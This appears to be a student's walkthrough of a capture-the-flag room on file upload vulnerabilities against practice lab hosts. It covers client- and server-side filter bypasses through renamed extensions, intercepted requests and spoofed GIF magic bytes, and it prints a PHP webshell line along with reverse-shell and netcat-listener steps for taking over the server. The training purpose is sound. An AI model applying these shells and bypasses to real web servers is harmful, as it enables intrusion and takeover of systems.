Upload Vulnerabilities

explore some of the vulnerabilities resulting from improper (or inadequate) handling of file uploads

General Methodoly:

As with any kind of hacking, enumeration is key. The more we understand about our environment, the more we're able to do with it. Scanning with a directory bruteforcer such as Gobuster is usually helpful in web attacks, and may reveal where files are being uploaded to. Intercepting upload requests with Burpsuite will also come in handy. Browser extensions such as Wappalyser can provide valuable information at a glance about the site you're targetting

Overwriting Existing Files

Web pages, for example, should not be writeable to the web user, thus preventing them from being overwritten with a malicious version uploaded by an attacker. If, however, no such precautions are taken, then we might potentially be able to overwrite existing files on the server

Open your web browser and navigate to overwrite.uploadvulns.thm. Your goal is to overwrite a file on the server with an upload of your own

Remote Code Execution

RCE allow us to execute code arbitrarily on the web server. There are two basic ways to achieve RCE on a webserver when exploiting a file upload vulnerability: webshells, and reverse/bind shells

A simple webshell works by taking a parameter and executing it as a system command. In PHP, the syntax for this would be:

<?php echo system($_GET["cmd"]); ?>

Reverse Shells:

We'll be using the ubiquitous Pentest Monkey reverse shell, which comes by default on Kali Linux, but can also be downloaded here.

edit line 49 of the shell. It will currently say $ip = '127.0.0.1'; // CHANGE THIS -- as it instructs, change 127.0.0.1 to your IP address

start a Netcat listener to receive the connection. nc -lvnp 1234:

upload the shell, then activate it by navigating to http://demo.uploadvulns.thm/uploads/shell.php

Task:Navigate to shell.uploadvulns.thm and complete the questions for this task.

Run a Gobuster scan on the website using the syntax from the screenshot above. What directory looks like it might be used for uploads?

gobuster dir -u http://shell.uploadvulns.thm/ -w "/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt"

Results:

/resources (Status: 301)

/assets (Status: 301)

Get either a web shell or a reverse shell on the machine.

goto revershell.com > download PHP PentestMoneky shell

save as .php

update Ip address : 10.10.174.121 and port number

start a nc listener : nc -lvnp 4444

upload file to webpage > click file to execute a shell in nc listener

Filtering

Differences between client-side filtering and server-side filtering.

A script being "Client-Side" mean that it's running in the user's browser as opposed to on the web server itself. JavaScript is the client-side scripting language. a client-side script will be run in your web browser.Theoretically, this would seem like a good thing, right? In an ideal world, it would be; however, because the filtering is happening on our computer, it is trivially easy to bypass. As such client-side filtering by itself is a highly insecure method of verifying that an uploaded file is not malicious.

Conversely, a server-side script will be run on the server, PHP was the predominant server-side language or MS ASP for IIS. Server-side filtering tends to be more difficult to bypass

Different kinds of filtering

Extension Validation: File extensions are used (in theory) to identify the contents of a file.Filters that check for extensions work in one of two ways. They either blacklist extensions (i.e. have a list of extensions which are not allowed) or they whitelist extensions (i.e. have a list of extensions which are allowed, and reject everything else).

File Type Filtering: file type filtering looks to verify that the contents of a file are acceptable to upload.

MIME validation: MIME (Multipurpose Internet Mail Extension) types are used as an identifier for files. MIME types follow the format /. <type>/<subtype>. the MIME type for this upload was "image/jpeg". The MIME type for a file can be checked client-side and/or server-side; however, as MIME is based on the extension of the file, this is extremely easy to bypass.

Magic Number validation: Magic numbers are the more accurate way of determining the contents of a file;

File Length Filtering: File length filters are used to prevent huge files from being uploaded to the server via an upload form (as this can potentially starve the server of resources)

File Name Filtering: files uploaded to a server should be unique. adding a random aspect to the file name, check if a file with the same name already exists on the server, and give the user an error if so. file names should be sanitised on upload to ensure that they don't contain any "bad characters", which could potentially cause problems on the file system when uploaded (e.g. null bytes or forward slashes on Linux, as well as control characters such as ; and potentially unicode characters)

File Content Filtering: scan the full contents of an uploaded file to ensure that it's not spoofing its extension, MIME type and Magic Number.

Bypassing Client-Side Filtering

client-side filtering tends to be extremely easy to bypass, as it occurs entirely on a machine that you control

four easy ways to bypass your average client-side file upload filter

1.Turn off Javascript in your browser

2.Intercept and modify the incoming page. Using Burpsuite

3.Intercept and modify the file upload

  1. Send the file directly to the upload point.: you can send the file directly using a tool like curl. the syntax for such a command curl -X POST -F "submit:<value>" -F "<file-parameter>:@<path-to-file>" <site>. To use this method you would first aim to intercept a successful upload (using Burpsuite or the browser console) to see the parameters being used in the upload, which can then be slotted into the above command.

Challenge:

Navigate to java.uploadvulns.thm and bypass the filter to get a reverse shell.

Hint: The script is in the "client-side-filter.js" file. Either prevent this file from being loaded, or read the code to see what MIME type is accepted and bypass the filter using method three.

Using method 3:

s1. enumerate with gobuster: gobuster dir -u http://java.uploadvulns.thm/ -w "/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt" t 64

File upload path found: ", /server-status and /assets"

go to page sourse find image format is png

create php pentest monkey revershell file here: https://www.revshells.com/

rename php shell as png

Run Burp suite > upload file and capture traffic > change filename in burp to .php >forward traffic to client side

go to http://java.uploadvulns.thm/images to verify file was successfully uploaded.

start a nc listener : nc -lvnp 1234 to listen to revershell

verify reverse shell is successfully started

capture the flag at /var/www/

Using method 2:

start traffic capture using burp suite

upload php file as is without renaming: rshell.php

add file to filename="": filename="rshell.php" > then forward traffic

confirm get request is success

navigate to http://java.uploadvulns.thm/images to verify file was successfully uploaded.

start a nc listener : nc -lvnp 1234 to listen to revershell

verify reverse shell is successfully started

Bypassing Server-Side Filtering: File Extensions

Here we have to perform a lot of testing to build up an idea of what is or is not allowed through the filter, then gradually put together a payload which conforms to the restrictions.The key to bypassing any kind of server side filter is to enumerate and see what is allowed, as well as what is blocked; then try to craft a payload which can pass the criteria the filter is looking for.

Challenge

figure out and bypass the filter to upload and activate a shell. Your flag is in /var/www/. The site you're accessing is annex.uploadvulns.thm.

s1: enumerate with gobuster to find file uploads directory:

gobuster dir -u http://annex.uploadvulns.thm -w "/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt" t 64

directories: /privacy /asset ( privacy directory is where files are saved)

rename rshell file using file extension rshell.png.ph5

add attack machine ip address and port # to rshell.png.php5

select and upload file to site: http://annex.uploadvulns.thm (upload successful)

navigate to /privacy directory

activate listener: nc -lvnp 1234 to listen to shell connection.

Bypassing Server-Side Filtering: Magic Numbers

Magic numbers are used as a more accurate identifier of files. The magic number of a file is a string of hex digits, and is always the very first thing in a file. t's possible to use magic numbers to validate file uploads, simply by reading those first few bytes and comparing them against either a whitelist or a blacklist. https://en.wikipedia.org/wiki/List_of_file_signatures

file command to check the file type of our shell:

Challenge

Bypass the magic number filter to upload a shell. Find the location of the uploaded shell and activate it. Your flag is in /var/www/.

Site: magic.uploadvulns.thm

s1: enumerate with gobuster to find file uploads directory:

gobuster dir -u http://magic.uploadvulns.thm -w "/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt" t 64

directory: /graphics /assets (unable to access dir)

page only accepts .gif file formats

navigate to https://en.wikipedia.org/wiki/List_of_file_signatures or magic byte gif to obtain file signatures for gif files: 47 49 46 38 37 61

edit rshell file to add 6 random characters to the first line, characters do not matter: used AAAAAA

open rshell in hex editor: hexeditor reshell.php

add 6 first 6 characters with magic number AAAAAA -> 47 49 46 38 37 61

OR can also just add the ISO number (GIF87a) at beginning of file and no need to use hex editor.

use file rshell to confirm file has been modified to gif format. (GIF87a)

start netcat listener: nc -lvnp 1234

navigate to url: http://magic.uploadvulns.thm and include directory and rshell URI: http://magic.uploadvulns.thm/graphics/rshell.php

shell found in netcat listener and flag obtained.

Example Methodology

  1. The first thing we would do is take a look at the website as a whole. Using browser extensions such as the aforementioned Wappalyzer (or by hand) we would look for indicators of what languages and frameworks the web application might have been built with. A good start to enumerating this manually would be by making a request to the website and intercepting the response with Burpsuite. Headers such as server or x-powered-by can be used to gain information about the server. We would also be looking for vectors of attack, like, for example, an upload page.

  2. Having found an upload page, we would then aim to inspect it further. Looking at the source code for client-side scripts to determine if there are any client-side filters to bypass would be a good thing to start with, as this is completely in our control.

  3. We would then attempt a completely innocent file upload. From here we would look to see how our file is accessed. Can we access it directly in an uploads folder? Is it embedded in a page somewhere? What's the naming scheme of the website? This is where tools such as Gobuster might come in if the location is not immediately obvious. This step is extremely important as it not only improves our knowledge of the virtual landscape we're attacking, it also gives us a baseline "accepted" file which we can base further testing on. An important Gobuster switch here is the -x switch, which can be used to look for files with specific extensions. For example, if you added -x php,txt,html to your Gobuster command, the tool would append.php, .txt, and .html to each word in the selected wordlist, one at a time. This can be very useful if you've managed to upload a payload and the server is changing the name of uploaded files.

  4. Having ascertained how and where our uploaded files can be accessed, we would then attempt a malicious file upload, bypassing any client-side filters we found in step two. We would expect our upload to be stopped by a server side filter, but the error message that it gives us can be extremely useful in determining our next steps.

Final Challenge:

s1: enumerate with gobuster to find directory: gobuster dir -u http://jewel.uploadvulns.thm/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt

dircectory: /content /modules /admin /assets /Content /Modules /Admin /Assets

Note: The content folder will contain files uploaded to the site.

inspect page uisng browser inspect tool

site is X-Powered-By Express means the site powered by node.js webserver OR also using Wappalyzer shows node.js webserver

download node.js exploit shell from https://www.revshells.com/

use burp suite to capture webpage traffic and remove client side filter: file size, magic number and file extension.

enumerate /content folder to see files uploaded: gobuster dir -u http://jewel.uploadvulns.thm/content -w UploadVulnsWordlist.txt -x jpg

files found: /ABH.jpg (Status: 200) /JVE.jpg (Status: 200) /LKQ.jpg (Status: 200) /SAD.jpg (Status: 200) /UAD.jpg (Status: 200)

rename rshell.js file to rshell.jpg > upload the file webpage

rerun gobuster to find new upload file path:

dir -u http://jewel.uploadvulns.thm/content -w UploadVulnsWordlist.txt -x jpg

new file paths: /RSD.jpg /WBM.jpg XFD.jpg /YYW.jpg

setup netcat listener: nc -lvnp 1234

nagivate to /admin page: http://jewel.uploadvulns.thm/admin

go to the file pah found using: ../content/RSD.jpg

shell found in nc listener: Connection from 10.10.11.150 43494 received!

cd /var/www/ to find flag.txt file.

Last updated